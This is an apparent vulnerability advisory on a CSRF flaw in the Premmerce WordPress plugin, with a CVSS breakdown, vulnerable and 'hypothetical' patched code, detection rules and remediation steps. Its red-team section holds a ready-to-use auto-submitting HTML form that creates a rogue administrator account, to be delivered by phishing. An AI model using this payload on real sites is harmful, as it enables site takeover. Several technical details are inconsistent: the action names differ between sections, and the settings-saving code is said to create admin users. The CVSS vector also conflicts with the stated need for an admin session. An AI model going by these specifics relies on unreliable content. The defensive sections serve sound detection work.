CVE-2025-64288

Executive Summary

CVE-2025-64288 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Premmerce WordPress plugin (versions <= 1.3.19). This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, creating new admin users, or changing site configurations. The attack requires user interaction (clicking a crafted link or visiting a malicious page) and has a CVSS score of 4.3 (Medium). No public exploit code or patch is currently available, but the risk is elevated due to the widespread use of WordPress and the plugin's administrative privileges.

WordPress Ecosystem Context: This vulnerability is specific to the Premmerce WordPress plugin. It is not a core WordPress issue, nor is it related to Apache or Nginx. The attack vector relies on the plugin's failure to implement proper CSRF tokens in its administrative actions.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and potentially third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from official sources. The lack of a patch increases supply chain risk, as administrators may be forced to use an unpatched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Unauthorized modification of plugin settings or user accounts.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., creating a new admin user) makes this a serious concern for WordPress site administrators.

Deep Dive & Mechanics

The Premmerce plugin fails to validate or include a CSRF token in its administrative action handlers. This allows an attacker to craft a malicious HTTP request (e.g., a POST request to change plugin settings) and trick an authenticated administrator into executing it.

Attack Flow:

1. The attacker identifies a vulnerable Premmerce installation (e.g., via Shodan or manual scanning).
2. The attacker crafts a malicious HTML page or link that sends a forged request to the WordPress admin area (e.g., wp-admin/admin-post.php?action=premmerce_update_settings&new_admin_user=attacker).
3. The attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email or social media).
4. The administrator's browser automatically sends the forged request with their session cookies.
5. The plugin processes the request without verifying the origin, leading to unauthorized changes.

Root Cause: The plugin's admin functions (e.g., premmerce_save_settings()) do not call check_admin_referer() or wp_verify_nonce() before processing state-changing actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.19):

// In premmerce-admin.php
function premmerce_save_settings() {
    // No CSRF check
    update_option('premmerce_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=premmerce'));
}

Patched Code (Hypothetical):

function premmerce_save_settings() {
    // Add CSRF check
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'premmerce_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('premmerce_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=premmerce'));
}

Key Difference: The patched version uses wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Premmerce plugin <= 1.3.19.
• An authenticated admin session (the victim).

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that automatically submits a forged request:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="premmerce_create_admin">
    <input type="hidden" name="new_user" value="attacker">
    <input type="hidden" name="new_pass" value="pwned123">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Step 2: Host and Deliver

• Host the file on a server (e.g., http://attacker.com/csrf.html).
• Send a phishing email to the admin with a link to the file.

Step 3: Verify

• After the admin clicks, a new admin user attacker is created.
• Log in with attacker:pwned123 to confirm.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to wp-admin/admin-post.php with action=premmerce_* parameters.
• Alert on creation of new admin users without proper nonce validation.

Defense:

• Apply the hypothetical patch above.
• Use a Web Application Firewall (WAF) to block requests missing CSRF tokens.
• Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=premmerce_* parameters.
  • Referer header missing or spoofed.
• Host:
  • Unexpected new admin users in the WordPress database (wp_users table).
  • Modified wp_options entries for premmerce_settings.
• Logs:
  • WordPress debug log entries showing failed nonce checks (if patched).
  • Web server logs with unusual POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_64288_CSRF_Premmerce {
    meta:
        description = "Detects CSRF exploitation attempts against Premmerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64288"
    strings:
        $action = "action=premmerce_" nocase
        $admin_post = "admin-post.php" nocase
        $nonce_missing = "check_admin_referer" nocase
    condition:
        $action and $admin_post and not $nonce_missing
}

Sigma Rule

title: CVE-2025-64288 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attacks against Premmerce plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=premmerce_"
        cs-uri-stem|endswith: "/admin-post.php"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-64288 CSRF Premmerce Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/admin-post.php"; http_uri; content:"action=premmerce_"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and remove any unauthorized admin users.
3. Reset all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section).
• Monitor the Premmerce plugin repository for an official update.
• Implement a Web Application Firewall (WAF) rule to block CSRF attacks.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Valters IT